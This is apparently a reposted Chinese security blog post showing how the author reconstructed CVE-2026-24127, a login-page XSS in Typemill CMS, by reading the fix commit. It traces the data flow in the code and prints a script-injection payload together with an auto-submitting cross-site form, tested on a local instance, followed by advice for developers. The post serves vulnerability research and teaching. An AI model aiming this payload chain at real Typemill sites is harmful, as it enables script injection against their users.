文章总结: 本文记录了作者通过分析补丁逆向挖掘CVE-2026-24127漏洞的全过程。针对TypemillCMS,作者利用补丁差异定位了登录处的XSS漏洞,构建了从POST请求、中间件存储到模板渲染的完整攻击链,并成功复现了利用。文章指出漏洞本质是OldInput未转义,建议开发者重视模板过滤与CSRF防护。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,WEB安全,代码审计
从补丁到漏洞利用:逆向分析CVE-2026-24127
haidragon haidragon
安全狗的自我修养
2026年2月5日 07:07 湖南
官网:http://securitytech.cc
我从无聊到通过补丁分析发现攻击模式的个人经历 —— CVE-2026-24127
✅ 开始之前
那天是个无聊的周五夜晚,怎么都睡不着,于是我决定干一件正常安全研究员都会干的事 —— 挖漏洞。
但这次我没去打真实目标,而是想试点不一样的东西。
我做 Web 安全研究已经挺久了,一直很着迷补丁如何暴露漏洞本质。所以我直接 Google 了:
CVE CMS 2026
Typemill 是第一个结果。
我完全没打算在真实环境中利用它,这只是研究兴趣。我想证明一件事:
👉 只读补丁,也能构造非常强的 N-Day 利用。
这篇文章就是我当晚逆向 CVE 的完整方法:包含代码证据、攻击流程分析,以及真实操作步骤。
🚀 一切的开始
选好目标后,我先查看了 NVD 页面:
https://nvd.nist.gov/vuln/detail/CVE-2026-24127
里面直接给了修复提交:
https://github.com/typemill/typemill/commit/b506acd11e80fb9c8db5fa6c2c8ad73580b4e88c
—— 我超喜欢这种 CVE 数据库能给真东西。
这是个 XSS 漏洞,我一打开 patch,脑子里已经自动开始构建利用流程了。
模式太明显了。
我立刻下载了易受害版本 Typemill 2.19.1 开始逆向。
🔍 补丁分析深入研究
🧩 我在修复提交里发现了什么
第一眼看到这个:
system/typemill/author/auth/login.twig
system/typemill/Middleware/OldInputMiddleware.php
我当场心里一句:
🤯 WTF?
他们到处加了 |e 过滤器,还新写了一套清洗方法。
这基本等于在对我喊:
👉 这里原来就是 XSS。
🧠 构建攻击模型
从补丁我已经能画出数据流:
POST 请求 → Controller → Middleware → Session → 模板渲染 → XSS
但我要的是证据链。
🕵️ 代码证据追踪
✅ Step 1:入口点
登录表单在:
system/typemill/author/auth/login.twig:14
<formmethod="POST"action="{{ url_for("auth.login") }}" autocomplete="off">
...
<inputtype="text"name="username"value="{{ old.username }}">
提交后:
- 浏览器 POST
/tm/login - 自动发送 username/password
- 路由定义在:
$group->post('/login', ControllerWebAuth::class . ':login')->setName('auth.login');
📌 证据 1:/tm/login → ControllerWebAuth::login()。
✅ Step 2:POST 数据流
ControllerWebAuth.php
$input = $request->getParsedBody(); // 用户数据进入
攻击输入会变成:
$input = [
'username' => '"><script>alert("XSS")</script>',
'password' => 'test'
];
如果验证失败就 302 重定向。
📌 证据 2: 恶意数据完整进入系统。
✅ Step 3:中间件问题
OldInputMiddleware.php(漏洞版)
$oldinput = $request->getParsedBody();
...
$_SESSION['old'] = $oldinput;
只删除 password,其它字段原样保存。
📌 证据 3: 恶意 payload 存入 session。
✅ Step 4:模板漏洞点
value="{{ old.username }}"
没有 |e。
📌 证据 4: 直接 XSS Sink。
🧪 测试利用
我用 docker 启动 Typemill 2.19.1。
Payload:
<formmethod="POST"action="http://localhost:8081/tm/login">
<inputname="username"value='"><script>alert("XSS")</script>'>
<inputname="password"value="test">
</form>
<script>document.forms[0].submit()</script>
效果:
✅ JS 成功执行。
🏁 总结
我只是看了 patch diff,就完整重构了漏洞。
本质问题是:
- POST → Session → Template
- 没有 escape
- 没有 CSRF
- old input 成为 XSS 向量
📌 这次研究说明了什么?
- Patch 就是漏洞蓝图
- 污点分析最重要
- 链式组合比单点严重
- N-Day 是最好的学习材料
给开发者的建议
-
模板必须
|e -
Middleware 也要清洗
-
所有表单加 CSRF
-
old input 极容易成为 XSS 源
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《从补丁到漏洞利用:逆向分析CVE-2026-24127》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论